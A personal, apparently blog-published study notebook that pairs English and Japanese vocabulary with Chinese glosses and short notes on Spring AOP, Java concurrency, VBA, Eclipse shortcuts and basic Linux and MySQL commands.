22.against 英[əˈɡenst] 介词,意为“反对,违反;对……不利;紧靠,倚,碰撞;针对;预防,抵御;
23.attacker 英[əˈtækə(r)] 攻击者
24.hacker 英 [ˈhækə] n. (最初曾指热心于计算机技术、水平高超的电脑高手,尤其是程序设计人员)
25.Relational // ORM 框架简介 (Object Relational Mapping)
26.持久性(persistence) // JPA Java Persistence API
27.guaranteed [ˌɡærənˈtiːd] 保证; 担保; 保障; // glassfish 事物 // is-isolation-level-guaranteed
28.Excel 排序有问题,因为没有选择扩展选定区域。
29.しんどい // 日本关西方言,费劲,吃力。累。疲劳。
30.ハイブリッド 【英】hybrid ;混合物。
31. Tortoise n. /ˈtɔːtəs/ 陆龟,龟 // git (Merge)
32.即時 そくじ
33.即答 そくとう
34.パイプ 管道
35.grep '\"2021\-12' ./*.csv | tail -3 | xargs iconv -f sjis -t utf8
36.iconv // Linux // grep '\"2021\-12' ./*.csv | tail -3 | xargs iconv -f sjis -t utf8
37.ABEND Abnormal End 异常终止;异常结束
38.Abnormal [æbˈnɔːməl] 不正常的;变态的;畸形的;异乎寻常的 //
39.Artifactory 制品仓库 // Jforg
40.existent 英 [ɪɡˈzɪstənt] adj. 存在的,现存的,目前的 n. 存在物,生存者
41.systemctl status firewalld // Linux
42.since // java since 1.7
43.POSIX // Linux之正则表达式 // grep -v
44.invert英 [ɪnˈvɜːt; ˈɪnvɜːt] n. 颠倒的事物 v. 使…转化;使…颠倒 // ps -aux | grep xxx |grep -v grep
45.カット 【英】 cut ;切,去掉;削球;剪发,理发;
46.リトライ 【英】retry ;重试,再干;再审。 [riːˈtraɪ] 再试,复执
47.restriction 英[rɪˈstrɪkʃn] n.限制规定; 限制法规; 限制;
48.advice 英[ədˈvaɪs] 劝告; 忠告; 建议; 意见; // AOP 中的术语 (通知/增强)
49.signature [ˈsɪɡnɪtʃə] n. 签字,签署;识别标志,特征 // java 方法签名(method signature)
50.inherited 英[ɪnˈherɪtɪd] v.继承 // java元注解 @inherited // java 继承 父类方法 Methods inherited from
51.introduction 英 [ˌɪntrəˈdʌkʃən] n. 介绍;引进;采用;序言;入门;序曲 // Spring AOP
52.introduction(引介):引介是一种特殊的通知在不修改类代码的前提下,Introduction可以在运行期间为类动态地添加一些方法或Field
53.Oriented 导向的;以…为方向的 英 [ˈɔːrɪentɪd] // AOP Aspect Oriented Programming 面向切面编程
切面(Aspect):一个模块化的横切逻辑(或称横切关注点),可能会横切多个对象。
连接点(Join Point):程序执行中的某个具体的执行点。入原对象的fun()方法就是一个连接点。
增强处理(Advice):切面在某个特定连接点上执行的代码逻辑。
切入点(Ponitcut):对连接点的特征进行描述,可以使用正则表达式。增强处理和一个切入点
表达式相关联,并在与这个切入点匹配的某个连接点上运行。
目标对象(Target object):被一个或多个切面增强的对象。
AOP代理(AOP proxy):由AOP框架所创建的对象,实现执行增强处理方法等功能。
织入(Weaving):将增强处理连接到应用程序中的类型或对象上的过程。
54. OOP Object Oriented Programming 面向对象编程
55. POP Process Oriented Programmin 面向过程编程
56.げた 木履,木屐,呱嗒板儿,趿拉板儿。 // 記号 〓 (印刷時の伏せ字) (ふせじ) // カット 【英】 cut ;切,去掉; // 帳票
57.空白 くうはく // 印刷物で、明記を避けるため、その部分を空白にしたり記号を入れたりすること。
58.
59.
60.
■2022/01/06以降
01.SpringBoot使用@Value注入配置的值为null 的原因
不能作用于静态变量(static);
不能作用于常量(final);
不能在非注册的类中使用(类需要被注册在spring上下文中,如用@Service,@RestController,@Component等);
使用这个类时,只能通过依赖注入的方式,用new的方式是不会自动注入这些配置的。
02.@Value默认值
在Spring Boot中,如果使用@Value注解对属性进行赋值,但如果在配置文件或启动参数中未指定对应的参数值,则会抛出异常。
通过“:”指定如果获取不到该参数值时所使用的默认值,则启动时不会出现异常信息。
@RestController
public class ConfigController {
// ①未指定默认值
@Value("${user.name}")
private String userName;
// ②指定默认值为“unknown”
@Value("${project.name:unknown}")
private String projectName;
}
03.Spring表达
#{expression?:default value}
04.标注中的属性
package com.sxz.test.one.service;
import java.util.List;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import org.springframework.transaction.annotation.Transactional;
import com.sxz.test.one.entity.User;
import com.sxz.test.one.repository.UserRepository;
@Service
@Transactional(isolation=Isolation.XXX, propagation=Propagation.XXX)
public class UserService {
@Autowired
private UserRepository userRepository;
public List<User> findAll() {
return userRepository.findAll();
}
}
05.resume [rɪˈzjuːm] n. 摘要;简历 v. 重新开始,恢复;取回,重新占用 // VBA 忽略错误
VBA中 各种数据类型的使用(自定义数据类型Type,数组,数据字典)、读写文件_sun0322-CSDN博客_vba中type类型
06.宗旨 しゅうし
07.httpd -V // 查看apache的设置
08.关于linux的【/var/www/html】 //apache 可以使用
如果要访问 /var/www/html/myfolder/test.html
我在浏览器地址栏输入 http://[ip]/myfolder/test.html就行了
前提:安装httpd (apache)
※ 直接URL访问server时,实际访问的是以下的html
/var/www/html/index.html
09.〇 漢数字 ○ 記号 // 全部「まる」ですが、異なるの二つ記号です。
10.technology 英 [tɛkˈnɒlədʒɪ] n. 技术,科技;技术应用
===
unrestricted 英 [ˌʌnrɪˈstrɪktɪd] adj. 无限制的
Confidential [ˌkɒnfɪˈdɛnʃəl] adj. 秘密的;表示信任的;获信任的
Highly Confidential [ˌkɒnfɪˈdɛnʃəl]
Restricted 英 [rɪˈstrɪktɪd] adj. 受限制的;被限定的
===
11.Office 敏感度标签
了解敏感度标签 - Microsoft 365 Compliance | Microsoft Docs
---
对电子邮件中的文件和电子邮件应用敏感度Office
---
若要使用 Windows 和 Mac 版 Office 桌面应用中内置的敏感度标签,必须使用 Office 订阅版本。 此标签客户端不支持 Office 独立版本,例如 Office 2016 或 Office 2019。
若要在 Windows 计算机上使用这些独立版本的 Office,请安装 Azure 信息保护统一标签客户端。
---
12.四种遍历Map方式:
Java中Map的 entrySet() 详解以及用法(四种遍历map的方式)_nO0b-CSDN博客_entryset
---
13.Map.Entry
Map中采用Entry内部类来表示一个映射项,映射项包含Key和Value (我们总说键值对键值对, 每一个键值对也就是一个Entry)
public static void main(String[] args) {
Map<String, String> map = new HashMap<String, String>();
map.put("1", "value1");
map.put("2", "value2");
map.put("3", "value3");
//第三种:推荐,尤其是容量大时
for (Map.Entry<String, String> entry : map.entrySet()) {
System.out.println("key= " + entry.getKey() + " and value= " + entry.getValue());
}
}
Map的四种遍历方式_sun0322-CSDN博客
14.VBA定义变量、并赋值
×
Dim sss As String
set sss=""
○
Dim sss As String
sss=""
15.VBA中没有continue方法,可以使用goto方法,实现continue的功能
for 。。。
。。。
if XXX
goto continue
end if
。。。
continue:
Next i
16. Decorator 英 [ˈdɛkəˌreɪtə] 装饰者 // 设计模式 //装饰者(Decorator)和被装饰者(Decoratee)
17.Java 23种设计模式
JAVA设计模式总结之23种设计模式 - pony1223 - 博客园 (cnblogs)
---
18.【代理模式】与【装饰者模式】区别
装饰器模式和代理模式的区别 - yanggb - 博客园 (cnblogs)
■相同点
对装饰器模式来说,装饰者(Decorator)和被装饰者(Decoratee)都实现一个接口。对代理模式来说,代理类(Proxy Class)和真实处理的类(Real Class)都实现同一个接口。此外,不论我们使用哪一个模式,都可以很容易地在真实对象的方法前面或者后面加上自定义的方法。
■不同点
在上面的例子中,
【装饰器模式】是使用的调用者从外部传入的被装饰对象(coffee),调用者只想要你把他给你的对象装饰(加强)一下。
而【代理模式】使用的是代理对象在自己的构造方法里面new的一个被代理的对象,不是调用者传入的。调用者不知道你找了其他人,他也不关心这些事,只要你把事情做对了即可。
---
19.concurrent 英[kənˈkʌrənt] adj.同时发生的; 并存的; // java.util.concurrent.Callable
20.Callable和Future,一个产生结果,一个拿到结果。
21.【Runnable、Future、FutureTask】继承关系【继承关系图】
java&android线程池-Executor框架之ThreadPoolExcutor&ScheduledThreadPoolExecutor浅析(多线程编程之三)_zejian的博客-CSDN博客_scheduledthreadpoolexecutor
22.一个类不能继承多个类,但是一个接口可能继承多个接口。
23.【Runnable、Callable】与【ThreadPoolExecutor、ScheduledThreadPoolExecutor】 与【ExcutorService】
无论是Runnable接口的实现类还是Callable接口的实现类,都可以被ThreadPoolExecutor或ScheduledThreadPoolExecutor执行,
ThreadPoolExecutor或ScheduledThreadPoolExecutor都实现了 ExcutorService接口,
而因此 Callable需要和Executor框架中的ExcutorService结合使用
24.Callable (返回值:1~5000:12497500)
Java多线程编程:Callable、Future和FutureTask浅析(多线程编程之四)_zejian的博客-CSDN博客_callable future futuretask--
---
import java.util.concurrent.Callable;
public class CallableDemo implements Callable<Integer> {
private int sum;
@Override
public Integer call() throws Exception {
System.out.println("Callable子线程开始计算啦!");
Thread.sleep(2000);
for(int i=0 ;i<5000;i++){
sum=sum+i;
}
System.out.println("Callable子线程计算结束!");
return sum;
}
}
---
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.Future;
public class CallableTest {
public static void main(String[] args) {
//创建线程池
ExecutorService es = Executors.newSingleThreadExecutor();
//创建Callable对象任务
CallableDemo calTask=new CallableDemo();
//提交任务并获取执行结果
Future<Integer> future =es.submit(calTask);
//关闭线程池
es.shutdown();
try {
Thread.sleep(2000);
System.out.println("主线程在执行其他任务");
if(future.get()!=null){
//输出获取到的结果
System.out.println("future.get()-->"+future.get());
}else{
//输出获取到的结果
System.out.println("future.get()未获取到结果");
}
} catch (Exception e) {
e.printStackTrace();
}
System.out.println("主线程在执行完成");
}
}
---
Callable子线程开始计算啦!
主线程在执行其他任务
Callable子线程计算结束!
future.get()-->12497500
主线程在执行完成
---
25.FutureTask (FutureTask实现了RunnableFuture接口,而RunnableFuture继承了Runnable和Future)
//重写了 run()方法。
FutureTask介绍及使用_闵浮龙的博客-CSDN博客_futuretask
26.创建FutureTask
CallableDemo calTask=new CallableDemo();
//创建FutureTask
FutureTask<Integer> futureTask=new FutureTask<>(calTask); // 构造函数之一,参数是 Callable
27.dim vvv As Variant //① VBA 中的变量 // ②vvv=Range("A1:C3") // ③ss=vvv(1,2) // ②中,可以使用F3中定义的变量
28.DoEvents //VBA // 可以实现sleep功能 // 可以配合sleep使用 (DoEvents \n Sleep 3000) // 效果:让出使用权,使程序在等待是,不是无响应的状态。
29.sentkeys "%s", true '按下 alt + s 'SendKeys string[, wait]
// 如果为False(缺省值),则控件在按键发送出去之后立刻返回到过程。
//如果为True,则按键消息必须在控件返回到过程之前加以处理。
30.誤り あやまり
31.priority 英 [praɪˈɒrɪtɪ] n. 在先,居前;优先,重点;优先事项
32.performance 英 [pəˈfɔːməns] n. 演出,表演;履行;执行;工作;成绩;成果
33.individual [ˌɪndɪˈvɪdjʊəl] 个人,个体 个别的;个人的;独特的 // XML
34.activity 英 [ækˈtɪvɪtɪ] n. 活动;活动力;行动;活跃
35.設定(1/31(月))
myworkday ⇒ performance ⇒ individual priorities ⇒ Edit
36.spring自动配置机制——spring.factories
●现象
(在一些外部依赖包中常常会看到在META-INF下,包含一个文件——spring.factories)
(比如:spring-boot-autoconfigure-xxxx.RELEASE.jar)
(@EnableAutoConfiguration 会加载 spring.factories 中标记的类)
●原因
在开启@EnableAutoConfiguration标记后,会自动导入AutoConfigurationImportSelector组件,
(@EnableAutoConfiguration中,@Import(AutoConfigurationImportSelector.class))
该组件内部调用SpringFactoriesLoader
加载autoconfigure.jar包中的spring.factories文件,
根据文件定义列表载入各个配置类
SpringBoot 自动配置之@EnableAutoConfiguration详解_强者才配秃头的博客-CSDN博客_enableautoconfiguration
@import
@Target(ElementType.TYPE)
@Retention(RetentionPolicy.RUNTIME)
@Documented
public @interface Import {
//这里说了可以配合 Configuration , ImportSelector, ImportBeanDefinitionRegistrar 来使用噢 或者常用的(regular component classes )也就是Bean
/**
* {@link Configuration}, {@link ImportSelector}, {@link ImportBeanDefinitionRegistrar}
* or regular component classes to import.
*/
Class<?>[] value();
}
---
@EnableAutoConfiguration
@Target(ElementType.TYPE)
@Retention(RetentionPolicy.RUNTIME)
@Documented
@Inherited
@AutoConfigurationPackage
@Import(AutoConfigurationImportSelector.class)
public @interface EnableAutoConfiguration {
---
@EnableAspectJAutoProxy
@Target(ElementType.TYPE)
@Retention(RetentionPolicy.RUNTIME)
@Documented
@Import(AspectJAutoProxyRegistrar.class)
public @interface EnableAspectJAutoProxy {
---
37.FactoryBean、BeanFactory
・FactoryBean:就是笔者上文阐述的,以Bean结尾,表示它是个Bean,它并不是简单的Bean,而是一个能生产对象或者修饰对象的工厂Bean
・BeanFactory:它是Spring IoC容器的一种形式,提供完整的IoC服务支持,也可以看出主语是Factory,即是一个管理Bean的工厂。 //【BeanFactory 是顶层容器(根容器),是ApplicationContext 顶级接口】
38.@Scope("prototype") // 如果不写,默认是单例
@Scope("prototype")的正确用法——解决Bean的多例问题 - 简书
在使用了Spring的web工程中,除非特殊情况,我们都会选择使用Spring的IOC功能来管理Bean,而不是用到时去new一个。Spring管理的Bean默认是单例的(即Spring创建好Bean,需要时就拿来用,而不是每次用到时都去new,又快性能又好),但有时候单例并不满足要求(比如Bean中不全是方法,有成员,使用单例会有线程安全问题,可以搜索线程安全与线程不安全的相关文章),你上网可以很容易找到解决办法,即使用@Scope("prototype")注解,可以通知Spring把被注解的Bean变成多例
39.任何一个类只要没有成员变量,就是线程安全的
40.成员方法是每个线程私有的
(每个线程都有自己独享的空间,也就是栈内存。线程在调用方法的时候,会创建一个栈帧。也就是说调用一个方法的时候,也就是一个栈帧的入栈过程,该方法执行完毕,栈帧也就出栈了。 换句话讲,成员方法对于每个线程事实上是私有的,而不是你表面看上去的那样是 "共享" 的。)
41.成员变量的对象分配是在堆内存中的,所以是为所有线程所共享的,所以可能会被多个线程同时访问,从而造成线程不安全
Java中的GC(垃圾回收)log_sun0322-CSDN博客
42.【Spring中这两个核心思想」都是一种设计模式(工厂,代理)
IoC的思想基于工厂模式
AOP的思想则是基于代理模式。
代理
AOP 实现的关键就在于 AOP 框架自动创建的 AOP 代理,AOP 代理则可分为静态代理和动态代理两大类,其中静态代理是指使用 AOP 框架提供的命令进行编译,从而在编译阶段就可生成 AOP 代理类,因此也称为编译时增强;而动态代理则在运行时借助于 JDK 动态代理、CGLIB 等在内存中“临时”生成 AOP 动态代理类,因此也被称为运行时增强。
43.静态代理:
编译时增强,AOP 框架会在编译阶段生成 AOP 代理类,在程序运行前代理类的.class文件就已经存在了。
常见的实现:JDK静态代理,AspectJ 。
44.动态代理
运行时增强(运行时织入),它不修改代理类的字节码,而是在程序运行时,运用反射机制,
在【内存中】临时为方法生成一个AOP对象,这个AOP对象包含了目标对象的全部方法,
并且在特定的切点做了增强处理,并回调原对象的方法。
常见的实现:JDK、CGLIB、Javassist(Hibernate中使用的动态代理)
45.【静态代理】有:编译时织入(特殊编译器实现)、类加载时织入(特殊的类加载器实现)。
46.【动态代理】有:jdk动态代理(基于接口来实现)、CGlib(基于类实现)。
47.JDK动态代理特点:
代理对象必须实现一个或多个【接口】
以接口形式接收代理实例,而不是代理类
48.CGLIB动态代理特点:
代理对象不能被final修饰
以类或接口形式接收代理实例
49.AspectJ三种织入方式
50.织入方式
51. AOP术语总结
一 概念理解
■ 1 AOP的术语重在理解。 =======
Join Point:(连接点) Spring AOP中,join point就是一个方法。(通俗来讲就是起作用的那个方法,具体执行的方法)
Pointcut:(切入点) 用来指定join point(通俗来讲就是描述的一组符合某个条件的join point)。通常使用pointcut表达式来限定joint point,Spring默认使用AspectJ pointcut expression language。
Advice: 在join point上特定的时刻执行的操作,Advice有几种不同类型,下文将会讨论(通俗地来讲就是起作用的内容和时间点)。
Introduction:给对象增加方法或者属性。
Target object: Advice起作用的那个对象。
AOP proxy: 为实现AOP所生成的代理。在Spring中有两种方式生成代理:JDK代理和CGLIB代理。
Aspect: 组合了Pointcut与Advice,在Spring中有时候也称为Advisor。某些资料说Advisor是一种特殊的Aspect,其区别是Advisor只能包含一对pointcut和advice,但是aspect可以包含多对。AOP中的aspect可以类比于OOP中的class。
Weaving:将Advice织入join point的这个过程。
■ 2 Advice的类型 =======
Before advice: 执行在join point之前的advice,但是它不能阻止joint point的执行流程,除非抛出了一个异常(exception)。
After returning advice: 执行在join point这个方法返回之后的advice。
After throwing advice: 执行在join point抛出异常之后的advice。
After(finally) advice: 执行在join point返回之后或者抛出异常之后的advice,通常用来释放所使用的资源。
Around advice: 执行在join point这个方法执行之前与之后的advice。
■ 3 两种代理 =======
Spring AOP是基于代理机制的。上文说到,Spring AOP通过JDK Proxy和CGLIB Proxy两种方法实现代理。
如果target object没有实现任何接口,那么Spring将使用CGLIB来实现代理。CGLIB是一个开源项目,它是一个强大的,高性能,高质量的Code生成类库,它可以在运行期扩展Java类与实现Java接口。
如果target object实现了一个以上的接口,那么Spring将使用JDK Proxy来实现代理,因为Spring默认使用的就是JDK Proxy,并且JDK Proxy是基于接口的。这也是Spring提倡的面向接口编程。当然,你也可以强制使用CGLIB来进行代理,但是这样可能会造成性能上的下降。
52.・切点Pointcut 定义
切点Pointcut,切点代表了一个关于目标函数的过滤规则,后续的通知是基于切点来跟目标函数关联起来的。
然后要围绕该切点定义一系列的通知Advice,如@Before、@After、@AfterReturning、@AfterThrowing、@Around等等定义的方法都是通知。其含义是在切点定义的函数执行之前、完成之后、正常返回之后、抛出异常之后以及环绕前后执行对应的切面逻辑。
一个切点和针对该切点的一个通知共同构成了一个切面Advisor。对于一个方法,我们可以定义多个切点都隐含它,并且对于每个切点都可定义多个通知来形成多个切面,SpringAOP底层框架会保证在该方法调用时候将所有符合条件的切面都切入到其执行之前或之后或环绕。通知Advice的子类Interceptor或MethodInterceptor的类名更具体一些,包含了拦截器的概念。
011-Spring aop 002-核心说明-切点PointCut、通知Advice、切面Advisor - bjlhx15 - 博客园
53.切点Pointcut更多
@Pointcut 的 12 种用法,你知道几种? - 知乎
[Done]Spring @Pointcut 切点调用不到(SpringAOP嵌套方法不起作用) 注意事项 - 大辉_FFf - 博客园
54.springAOP编程-aspectJ开启注解自动代理
springAOP编程-aspectJ开启注解自动代理_学亮编程手记-CSDN博客
55.amount n. 数量;总额
56.percent [pə'sent] n. 百分比,百分率;部分
57.financial 英 [fɪˈnænʃəl] adj. 财政的,金融的
58.新春 しんしゅん
59.初めて~した 始め~と考えた
初めて~した 第一次做某事
始め~と考えた 最开始XXX考虑
×:初めて、私もXXX不要したいですが、。。
○:始め私も不要と考えましたが、。。
最开始,我也不想要XXX,但是,
60.transient 英[ˈtrænziənt] adj. 转瞬即逝的; 短暂的; 倏忽; 暂住的; 过往的; 临时的;
・transient // java // StringBuffer // private transient String toStringCache;
・transient // java // 将不需要序列化的属性前添加关键字transient,序列化对象的时候,这个属性就不会被序列化。
61.・Referrer Policy: no-referrer-when-downgrade
62.・specified 英 [ˈspesɪˌfaɪd] adj. 指定的 // @Bean if unspecified, the name of bean is the mame of the annotated method.
annotated /ˈænəˌteɪtɪd/ adj 已加注解的;已加评注的
public @interface Bean {
/**
* Alias for {@link #name}.
* <p>Intended to be used when no other attributes are needed, for example:
* {@code @Bean("customBeanName")}.
* @since 4.3.3
* @see #name
*/
@AliasFor("name")
String[] value() default {};
/**
* The name of this bean, or if several names, a primary bean name plus aliases.
* <p>If left unspecified, the name of the bean is the name of the annotated method.
* If specified, the method name is ignored.
* <p>The bean name and aliases may also be configured via the {@link #value}
* attribute if no other attributes are declared.
* @see #value
*/
@AliasFor("value")
String[] name() default {};
63.・@validated @valid
@Validated和@Valid区别:Spring validation验证框架对入参实体进行嵌套验证必须在相应属性(字段)加上@Valid而不是@Validated_花郎徒结的博客-CSDN博客_validated
1. 分组
@Validated:提供了一个分组功能,可以在入参验证时,根据不同的分组采用不同的验证机制,这个网上也有资料,不详述。
@Valid:作为标准JSR-303规范,还没有吸收分组的功能。
2. 注解地方
@Validated:可以用在类型、方法和方法参数上。但是不能用在成员属性(字段)上
@Valid:可以用在方法、构造函数、方法参数和成员属性(字段)上
【总结一下】@Validated和@Valid在嵌套验证功能上的区别:
@Validated:
用在方法入参上无法单独提供嵌套验证功能。
不能用在成员属性(字段)上,
也无法提示框架进行嵌套验证。
能配合嵌套验证注解@Valid进行嵌套验证。
@Valid:
用在方法入参上无法单独提供嵌套验证功能。
能够用在成员属性(字段)上,
提示验证框架进行嵌套验证。
能配合嵌套验证注解@Valid进行嵌套验证。
■2022/01/06 至 2022/01/30之间整理 (纯单词)
01.@Value("${user.name}") @Value("${project.name:unknown}") // #{expression?:default value}
02.resume [rɪˈzjuːm] n. 摘要;简历 v. 重新开始,恢复;取回,重新占用 // VBA 忽略错误
03.宗旨 しゅうし
04.关于linux的【/var/www/html】 //apache 可以使用
05.〇 漢数字 ○ 記号 // 全部「まる」ですが、異なるの二つ記号です。
06.× Dim sss As String set sss="" ; ○ Dim sss As String sss=""
07.technology 英 [tɛkˈnɒlədʒɪ] n. 技术,科技;技术应用
08.unrestricted 英 [ˌʌnrɪˈstrɪktɪd] adj. 无限制的 // 敏感度标签
09.Confidential [ˌkɒnfɪˈdɛnʃəl] adj. 秘密的;表示信任的;获信任的 // Highly Confidential
10.Restricted 英 [rɪˈstrɪktɪd] adj. 受限制的;被限定的
11.Map.Entry // Map中采用Entry内部类来表示一个映射项,映射项包含Key和Value
// for (Map.Entry<String, String> entry : map.entrySet()) {
12.Decorator 英 [ˈdɛkəˌreɪtə] 装饰者 // 设计模式 //装饰者(Decorator)和被装饰者(Decoratee)
13.concurrent 英[kənˈkʌrənt] adj.同时发生的; 并存的; // java.util.concurrent.Callable
14.Callable和Future,一个产生结果,一个拿到结果。
15.Variant [ˈveriənt] 变种; 变体; 变形; // Variant 数据类型是所有没被显式声明
16.dim vvv As Variant //① VBA 中的变量 // ②vvv=Range("A1:C3") // ③ss=vvv(1,2) // ②中,可以使用F3中定义的变量
17.DoEvents //VBA // 可以实现sleep功能 // 可以配合sleep使用 (DoEvents \n Sleep 3000) // 效果:让出使用权,使程序在等待是,不是无响应的状态。
18.priority 英 [praɪˈɒrɪtɪ] n. 在先,居前;优先,重点;优先事项
19.performance 英 [pəˈfɔːməns] n. 演出,表演;履行;执行;工作;成绩;成果
20.individual [ˌɪndɪˈvɪdjʊəl] 个人,个体 个别的;个人的;独特的 // XML
21.activity 英 [ækˈtɪvɪtɪ] n. 活动;活动力;行动;活跃
22.@Scope("prototype") // 如果不写,默认是单例
23.任何一个类只要没有成员变量,就是线程安全的
24.amount n. 数量;总额
25.percent [pə'sent] n. 百分比,百分率;部分
26.financial 英 [fɪˈnænʃəl] adj. 财政的,金融的
27.初めて~した 第一次做某事 // 始め~と考えた 最开始XXX考虑
×:初めて、私もXXX不要したいですが、。。
○:始め私も不要と考えましたが、。。
28.sentkeys "%s", true '按下 alt + s 'SendKeys string[, wait] // java 属性就不会被序列化
29.transien 英[ˈtrænziənt] adj. 转瞬即逝的; 短暂的; 倏忽; 暂住的; 过往的; 临时的;
30.specified 英 [ˈspesɪˌfaɪd] adj. 指定的 // @Bean // If left unspecified, the name of the bean is the name of the annotated method.
31.annotated /ˈænəˌteɪtɪd/ adj 已加注解的;已加评注的
32.Join Point:(连接点) Spring AOP中,join point就是一个方法。(通俗来讲就是起作用的那个方法,具体执行的方法)
33.Pointcut:(切入点) 用来指定join point(通俗来讲就是描述的一组符合某个条件的join point)。通常使用pointcut表达式来限定joint point,Spring默认使用AspectJ pointcut expression language。
34.Advice: 在join point上特定的时刻执行的操作,Advice有几种不同类型,下文将会讨论(通俗地来讲就是起作用的内容和时间点)。
35.java中为什么接口不能有静态代码块?
接口中每一个方法也是隐式抽象的,
接口中的方法会被隐式的指定为 public abstract(只能是 public abstract,其他修饰符都会报错)// 1.8 之前是正确的
36.@Import用来导入@Configuration注解的配置类、声明@Bean注解的bean方法、导入ImportSelector的实现类或导入ImportBeanDefinitionRegistrar的实现类。
37.@Import(AspectJAutoProxyRegistrar.class) // @EnableAspectJAutoProxy
===
【Spring中这两个核心思想」都是一种设计模式(工厂,代理)
IoC的思想基于工厂模式
AOP的思想则是基于代理模式。
代理
AOP 实现的关键就在于 AOP 框架自动创建的 AOP 代理,
AOP 代理则可分为静态代理和动态代理两大类,
【静态代理】:JDK静态代理,AspectJ 。
【动态代理】有:jdk动态代理(基于接口来实现)、CGlib(基于类实现)。
・JDK动态代理特点:
代理对象必须实现一个或多个【接口】
以【★接口】形式接收代理实例,而不是代理类
・CGLIB动态代理特点:
代理对象不能被final修饰
以类或接口形式接收代理【★实例】
===
■2022/02/01以降
01.しちゃいます
しちゃいます是してしまいます的口语说法
02.raw 英 [rɔː] adj. 生的;自然状态的;原始的,第一手的;质量粗糙的;光秃的;赤裸的 // gitHub 保存文件 // 右键点击这个按钮
03.イレギュラー irregular [ɪˈrɛɡjʊlə] ;不规则,不整齐,不正规。;发生异常
04.Ctrl + Shift + L 查看Eclipse所有快捷键
Eclipse 快捷键 | 菜鸟教程
05.收起 (General --> keys --> Collapse All)
Ctrl + Shift + numpad_divide
numpad_divide (数字小键盘 上的 除号“/”)
06.展开 (General --> keys --> expand All)
Ctrl + Shift + numpad_multiply
numpad_multiply (数字小键盘 上的 乘号“*”)
07.multiply [ˈmʌltɪˌplaɪ] adv. 多样地 v. 乘;成倍增加;繁衍
08.divide 英 [dɪˈvaɪd] v. 分,划分;分配,分享;(使)分开;使对立,分裂;除以
09.numpad 小键盘; 数字键盘; 数字键;
10.エラーハンドリング // エラーの発生を知る
エラーは「想定外の事態になっちゃったよ~」です。
ハンドリングは「捕捉すること」です。
11.handling [ˈhændlɪŋ] 1.触摸;触碰 2.应对;应付;处理
12.捕捉 ほそく
13.臨時 りんじ
14.▲ マイナスの意味 (工数削減:5h⇒ ▲5)
15.操作DB的同一条记录
问:假设有2条update语句同时对一个表中的同一行数据进行更新,【数据库】会怎么处理?
答:会排队,头一个处理完了,第二个才能处理,如果头一个没处理完,第二个就排着。
16.セカンド second // セカンドID作成申請
17.失効 しっこう //1ヶ月ロックインしないと失効します。
18.语法【ではないか。/ではないですか。】 不是...吗? (表示惊奇,责难,确认等情形)
19.人间(にんげん)ドック 体检
20.routine 英 [ruːˈtiːn] n. 例行公事;日常工作;惯例,常规
21.JAVA中float与double的区别
====
float是单精度类型,精度是8位有效数字,取值范围是10的-38次方到10的38次方,float占用4个字节的存储空间
double是双精度类型,精度是17位有效数字,取值范围是10的-308次方到10的308次方,double占用8个字节的存储空间
当你不声明的时候,默认小数都用double来表示,所以如果要用float的话,则应该在其后加上f
例如:float a=1.3;
则会提示不能将double转化成float 这成为窄型转化
如果要用float来修饰的话,则应该使用float a=1.3f
注意float是8位有效数字,第7位数字将会产生四舍五入
所以如果一个float变量 这样定义: float a=1.32344435; 则第7位将产生四舍五入(5及5以下的都将舍去)
====
22.java switch 不加 break 继续执行 下一个case(不用匹配条件)
====
原因:
在java Switch-Case 语句中一旦匹配case条件,就会顺序执行后面的程序代码,而不管后面的case是否匹配,直到遇见break或者switch结束。
====
23.気づいた // 気づく 1.注意到,察觉,意识到,认识到。 // 自分の誤りに気づく // 认识到自己的错误。
24.win10 关闭 右下角 资讯和新闻功能更
===
1、鼠标右键任务栏,会弹出一个框框,我们在里面找到资讯和兴趣。
2、鼠标悬停在这一栏,我们就可以看到相关的设置关闭功能了。
===
25.factor // n. 因素;因数;代理人 ; 倍数 // The ticket price has increased by a factor of four. // 票价已经涨了四倍。
26.cube 英[kjuːb] // 立方体; 立方形; 立方形的东西(尤指食物); 立方; 三次幂; // 主机机箱
27.mysql时间format
===
select FROM_UNIXTIME(1344887103,'%Y-%M-%D %h:%i:%s');
2012-August-14th 03:45:03
===
28.突合 とつごう 比照调查,对比调查。(突き合わせて調べること。)
29.補助 ほじょ // 補助ツール
30.にいれないほうがいい // 最好不要放在里面
31.optimize [ˈɒptɪˌmaɪz] // v. 使最优化,充分利用
32.平行 へいこう
33.並行 へいこう // 並行案件
34.考试
考试 45分钟
35道题
600分
360分过
35.預金 よきん 存款
36.ローン 贷款 (loan)
37.返済 へんさい 偿还,还债,还款。 返済額
38.見た目 // みため // 看来,看起来,外观,外表。 // 从外表看上去。
39.外 そと // 相对于里的外边,外面〔外側、外面、外部〕
40.自宅 じたく
41.座席 // ざせき // 座席移動
42.Workbook_beforeSave // VBA 保存前处理
Private Sub Workbook_BeforeSave(ByVal SaveAsUI As Boolean, Cancel As Boolean)
If Len(Worksheets("SheetName1").Range("A1")) = 0 Then
MsgBox "A1 Is Null", vbExclamation + vbOKOnly ’A1空的话,提示
Cancel = True ’不保存
End If
End Sub
43.配列 はいれつ 数组
44.windows聚焦 图片保存位置(需要自己把后缀改为png)
C:\Users\userName\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\Assets
45.windows聚焦 不显示图片的说明文字(无法解决,但是删除后,可以换一张图片)
C:\Users\userName\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\Settings
roaming.lock
settings.dat
46.退縮 たいしゅく
縮退運転とは|「分かりそう」で「分からない」でも「分かった」気になれるIT用語辞典
これをコンピュータの世界でやるのが「縮退運転(シュクタイウンテン)」です。
(コンピュータの世界における「えっ?風邪引いてるの?それなら今日は、外回りはしなくていいし定時で帰っていいよ」のこと。)
1.問題が発生した際に
2.無理をさせない代わりに
3.休ませないで仕事を続けさせる
縮退運転とは|「分かりそう」で「分からない」でも「分かった」気になれるIT用語辞典
47.appearnce 外貌(外観)// Eclipse // 字体大小设置
48pile [kəmˈpaɪl] 汇编,编制;编译 // java pattern 正则
49.professional的缩写,意味专业的。
50.product 产品;产物;结果;乘积;生成物 // yml pro 生产环境
51.destination 英 [ˌdɛstɪˈneɪʃən] n. 目标;目的地;终点
52.Anti 英 [ˈæntɪ] n. 反对者;持反对论者
